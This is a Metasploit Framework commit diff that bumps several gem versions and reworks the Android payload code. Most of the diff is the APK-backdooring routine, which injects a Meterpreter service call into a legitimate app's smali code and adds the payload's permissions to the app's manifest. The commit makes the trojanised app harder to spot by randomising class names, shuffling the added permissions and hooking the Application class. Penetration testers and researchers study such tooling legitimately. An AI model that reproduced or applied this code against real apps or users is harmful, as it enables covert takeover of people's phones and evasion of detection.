commit
b36527d830
10
Gemfile.lock
10
Gemfile.lock
|
@ -14,7 +14,7 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.2.17)
|
||||
metasploit-payloads (= 1.2.18)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.1.7)
|
||||
msgpack
|
||||
|
@ -190,7 +190,7 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.2.17)
|
||||
metasploit-payloads (1.2.18)
|
||||
metasploit_data_models (2.0.14)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -227,7 +227,7 @@ GEM
|
|||
pcaprub
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.12.4)
|
||||
pg (0.19.0)
|
||||
pg (0.20.0)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (3.0.0)
|
||||
activerecord (>= 4.0.0)
|
||||
|
@ -256,7 +256,7 @@ GEM
|
|||
thor (>= 0.18.1, < 2.0)
|
||||
rake (12.0.0)
|
||||
rb-readline (0.5.4)
|
||||
recog (2.1.4)
|
||||
recog (2.1.5)
|
||||
nokogiri
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.4)
|
||||
|
@ -350,7 +350,7 @@ GEM
|
|||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2017.1)
|
||||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.1.0)
|
||||
windows_error (0.1.1)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.9.8)
|
||||
|
|
|
@ -54,15 +54,9 @@ module Msf::Payload::Android
|
|||
transports: opts[:transport_config] || [transport_config(opts)]
|
||||
}
|
||||
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
||||
result = config.to_b
|
||||
|
||||
result[0] = "\x01" if opts[:stageless]
|
||||
result
|
||||
end
|
||||
|
||||
def string_sub(data, placeholder="", input="")
|
||||
data.gsub!(placeholder, input + "\x00" * (placeholder.length - input.length))
|
||||
config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b
|
||||
config[0] = "\x01" if opts[:stageless]
|
||||
config
|
||||
end
|
||||
|
||||
def sign_jar(jar)
|
||||
|
@ -98,14 +92,18 @@ module Msf::Payload::Android
|
|||
end
|
||||
|
||||
def generate_jar(opts={})
|
||||
config = generate_config(opts)
|
||||
if opts[:stageless]
|
||||
classes = MetasploitPayloads.read('android', 'meterpreter.dex')
|
||||
# Add stageless classname at offset 8000
|
||||
config += "\x00" * (8000 - config.size)
|
||||
config += 'com.metasploit.meterpreter.AndroidMeterpreter'
|
||||
else
|
||||
classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
|
||||
end
|
||||
|
||||
config = generate_config(opts)
|
||||
string_sub(classes, "\xde\xad\xba\xad" + "\x00" * 8191, config)
|
||||
config += "\x00" * (8195 - config.size)
|
||||
classes.gsub!("\xde\xad\xba\xad" + "\x00" * 8191, config)
|
||||
|
||||
jar = Rex::Zip::Jar.new
|
||||
files = [
|
||||
|
|
|
@ -35,9 +35,14 @@ class Msf::Payload::Apk
|
|||
end
|
||||
end
|
||||
|
||||
# Find the activity that is opened when you click the app icon
|
||||
def find_launcher_activity(amanifest)
|
||||
# Find a suitable smali point to hook
|
||||
def find_hook_point(amanifest)
|
||||
package = amanifest.xpath("//manifest").first['package']
|
||||
application = amanifest.xpath('//application')
|
||||
application_name = application.attribute("name")
|
||||
if application_name
|
||||
return application_name.to_s
|
||||
end
|
||||
activities = amanifest.xpath("//activity|//activity-alias")
|
||||
for activity in activities
|
||||
activityname = activity.attribute("targetActivity")
|
||||
|
@ -68,7 +73,7 @@ class Msf::Payload::Apk
|
|||
}
|
||||
end
|
||||
|
||||
def fix_manifest(tempdir, package)
|
||||
def fix_manifest(tempdir, package, main_service, main_broadcast_receiver)
|
||||
#Load payload's manifest
|
||||
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
|
||||
payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
|
||||
|
@ -78,6 +83,8 @@ class Msf::Payload::Apk
|
|||
original_permissions = original_manifest.xpath("//manifest/uses-permission")
|
||||
|
||||
old_permissions = []
|
||||
add_permissions = []
|
||||
|
||||
original_permissions.each do |permission|
|
||||
name = permission.attribute("name").to_s
|
||||
old_permissions << name
|
||||
|
@ -87,21 +94,26 @@ class Msf::Payload::Apk
|
|||
payload_permissions.each do |permission|
|
||||
name = permission.attribute("name").to_s
|
||||
unless old_permissions.include?(name)
|
||||
print_status("Adding #{name}")
|
||||
if original_permissions.empty?
|
||||
application.before(permission.to_xml)
|
||||
original_permissions = original_manifest.xpath("//manifest/uses-permission")
|
||||
else
|
||||
original_permissions.before(permission.to_xml)
|
||||
end
|
||||
add_permissions += [permission.to_xml]
|
||||
end
|
||||
end
|
||||
add_permissions.shuffle!
|
||||
for permission_xml in add_permissions
|
||||
print_status("Adding #{permission_xml}")
|
||||
if original_permissions.empty?
|
||||
application.before(permission_xml)
|
||||
original_permissions = original_manifest.xpath("//manifest/uses-permission")
|
||||
else
|
||||
original_permissions.before(permission_xml)
|
||||
end
|
||||
end
|
||||
|
||||
application = original_manifest.at_xpath('/manifest/application')
|
||||
receiver = payload_manifest.at_xpath('/manifest/application/receiver')
|
||||
service = payload_manifest.at_xpath('/manifest/application/service')
|
||||
receiver.attributes["name"].value = package + receiver.attributes["name"].value
|
||||
service.attributes["name"].value = package + service.attributes["name"].value
|
||||
receiver.attributes["name"].value = package + '.' + main_broadcast_receiver
|
||||
receiver.attributes["label"].value = main_broadcast_receiver
|
||||
service.attributes["name"].value = package + '.' + main_service
|
||||
application << receiver.to_xml
|
||||
application << service.to_xml
|
||||
|
||||
|
@ -110,7 +122,7 @@ class Msf::Payload::Apk
|
|||
|
||||
def parse_orig_cert_data(orig_apkfile)
|
||||
orig_cert_data = Array[]
|
||||
keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile #{orig_apkfile}")
|
||||
keytool_output = run_cmd("keytool -J-Duser.language=en -printcert -jarfile '#{orig_apkfile}'")
|
||||
owner_line = keytool_output.match(/^Owner:.+/)[0]
|
||||
orig_cert_dname = owner_line.gsub(/^.*:/, '').strip
|
||||
orig_cert_data.push("#{orig_cert_dname}")
|
||||
|
@ -185,24 +197,22 @@ class Msf::Payload::Apk
|
|||
amanifest = parse_manifest("#{tempdir}/original/AndroidManifest.xml")
|
||||
|
||||
print_status "Locating hook point..\n"
|
||||
launcheractivity = find_launcher_activity(amanifest)
|
||||
unless launcheractivity
|
||||
raise RuntimeError, "Unable to find hookable activity in #{apkfile}\n"
|
||||
end
|
||||
smalifile = "#{tempdir}/original/smali*/" + launcheractivity.gsub(/\./, "/") + ".smali"
|
||||
hookable_class = find_hook_point(amanifest)
|
||||
smalifile = "#{tempdir}/original/smali*/" + hookable_class.gsub(/\./, "/") + ".smali"
|
||||
smalifiles = Dir.glob(smalifile)
|
||||
for smalifile in smalifiles
|
||||
if File.readable?(smalifile)
|
||||
activitysmali = File.read(smalifile)
|
||||
hooksmali = File.read(smalifile)
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
unless activitysmali
|
||||
raise RuntimeError, "Unable to find hookable activity in #{smalifiles}\n"
|
||||
unless hooksmali
|
||||
raise RuntimeError, "Unable to find hook point in #{smalifile}\n"
|
||||
end
|
||||
|
||||
entrypoint = 'return-void'
|
||||
unless activitysmali.include? entrypoint
|
||||
unless hooksmali.include? entrypoint
|
||||
raise RuntimeError, "Unable to find hookable function in #{smalifile}\n"
|
||||
end
|
||||
|
||||
|
@ -212,6 +222,10 @@ class Msf::Payload::Apk
|
|||
|
||||
package = amanifest.xpath("//manifest").first['package']
|
||||
package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||
classes = {}
|
||||
classes['Payload'] = Rex::Text::rand_text_alpha_lower(5).capitalize
|
||||
classes['MainService'] = Rex::Text::rand_text_alpha_lower(5).capitalize
|
||||
classes['MainBroadcastReceiver'] = Rex::Text::rand_text_alpha_lower(5).capitalize
|
||||
package_slash = package.gsub(/\./, "/")
|
||||
print_status "Adding payload as package #{package}\n"
|
||||
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
|
||||
|
@ -221,15 +235,22 @@ class Msf::Payload::Apk
|
|||
# Copy over the payload files, fixing up the smali code
|
||||
payload_files.each do |file_name|
|
||||
smali = File.read(file_name)
|
||||
newsmali = smali.gsub(/com\/metasploit\/stage/, package_slash)
|
||||
newfilename = "#{payload_dir}#{File.basename file_name}"
|
||||
File.open(newfilename, "wb") {|file| file.puts newsmali }
|
||||
smali_class = File.basename file_name
|
||||
for oldclass, newclass in classes
|
||||
if smali_class == "#{oldclass}.smali"
|
||||
smali_class = "#{newclass}.smali"
|
||||
end
|
||||
smali.gsub!(/com\/metasploit\/stage\/#{oldclass}/, package_slash + "/" + newclass)
|
||||
end
|
||||
smali.gsub!(/com\/metasploit\/stage/, package_slash)
|
||||
newfilename = "#{payload_dir}#{smali_class}"
|
||||
File.open(newfilename, "wb") {|file| file.puts smali }
|
||||
end
|
||||
|
||||
payloadhook = %Q^invoke-static {}, L#{package_slash}/MainService;->start()V
|
||||
payloadhook = %Q^invoke-static {}, L#{package_slash}/#{classes['MainService']};->start()V
|
||||
|
||||
^ + entrypoint
|
||||
hookedsmali = activitysmali.sub(entrypoint, payloadhook)
|
||||
hookedsmali = hooksmali.sub(entrypoint, payloadhook)
|
||||
|
||||
print_status "Loading #{smalifile} and injecting payload..\n"
|
||||
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
|
||||
|
@ -237,7 +258,7 @@ class Msf::Payload::Apk
|
|||
injected_apk = "#{tempdir}/output.apk"
|
||||
aligned_apk = "#{tempdir}/aligned.apk"
|
||||
print_status "Poisoning the manifest with meterpreter permissions..\n"
|
||||
fix_manifest(tempdir, package)
|
||||
fix_manifest(tempdir, package, classes['MainService'], classes['MainBroadcastReceiver'])
|
||||
|
||||
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
|
||||
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
|
||||
|
|
|
@ -65,7 +65,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.2.17'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.2.18'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
|
Loading…
Reference in New Issue